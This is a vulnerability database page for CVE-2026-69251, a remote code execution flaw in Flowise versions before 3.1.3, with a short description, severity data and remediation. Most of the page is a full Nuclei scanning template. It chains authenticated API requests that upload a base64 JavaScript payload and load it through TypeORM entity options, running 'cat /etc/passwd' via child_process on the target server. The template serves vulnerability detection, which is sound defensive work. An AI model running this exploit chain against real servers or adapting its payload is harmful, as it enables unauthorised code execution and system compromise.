/Vulnerability Library

Flowise < 3.1.3 - Remote Code Execution

CVE-2026-69251
Early Release

Description

Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.

Severity

Critical

CVSS Score

9

Affected Product

flowise

Published Date

August 4, 2026

Template Author

1dayexploit

CVE-2026-69251.yaml
id: CVE-2026-69251

info:
  name: Flowise < 3.1.3 - Remote Code Execution
  author: 1dayexploit
  severity: critical
  description: |
    Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.
  impact: |
    Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Update to version 3.1.3 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5
    - https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69251
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 9.0
    cve-id: CVE-2026-69251
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 5
    vendor: flowiseai
    product: flowise
    shodan-query: http.title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2026,flowise,rce,authenticated,typeorm,intrusive

variables:
  fname: "{{to_lower(rand_text_alpha(8))}}"
  payload: "throw new Error(require('child_process').execSync('cat /etc/passwd').toString())"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{username}}","password":"{{password}}"}

    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "activeOrganizationId", "Unauthorized Access")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/store HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"name":"poc-{{fname}}","description":"CVE-2026-69251"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "loaders")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: storeid
        part: body
        group: 1
        regex:
          - '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/loader/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: loaderid
        part: body
        group: 1
        regex:
          - '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/loader/process/{{loaderid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"id":"{{loaderid}}","storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/vectorstore/insert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"storeId":"{{storeid}}","recordManagerName":"SQLiteRecordManager","recordManagerConfig":{"tableName":"poc","cleanup":"none","sourceIdKey":"source","additionalConfig":"{\"entities\":[\"/root/.flowise/storage/**/{{fname}}.js\",\"/home/node/.flowise/storage/**/{{fname}}.js\",\"/app/.flowise/storage/**/{{fname}}.js\",\"/data/.flowise/storage/**/{{fname}}.js\"]}"},"embeddingName":"openAIEmbeddings","embeddingConfig":{"modelName":"text-embedding-ada-002"},"vectorStoreName":"weaviate","vectorStoreConfig":{"weaviateScheme":"http","weaviateHost":"127.0.0.1:8080","weaviateIndex":"Poc","weaviateTextKey":"text"}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - '!contains(body, "Disallowed TypeORM DataSource option")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'Error: (root:.*?)",\"stack'
# digest: 4a0a00473045022100995da9f71d083793d2d4f1939666571ea6b054c543efa94fd603c1f42b43c58e02204a7b9cc5151a2e62b6401971197345deb76f540b04ccaf81a66b900c84895993:922c64590222798bb761d5b6d8e72950
9.0Score

CVSS Metrics

CVSS Vector:
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CVE ID:
cve-2026-69251
CWE ID:
cwe-94

References

https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390fhttps://nvd.nist.gov/vuln/detail/CVE-2026-69251

Remediation Steps

Update to version 3.1.3 or later.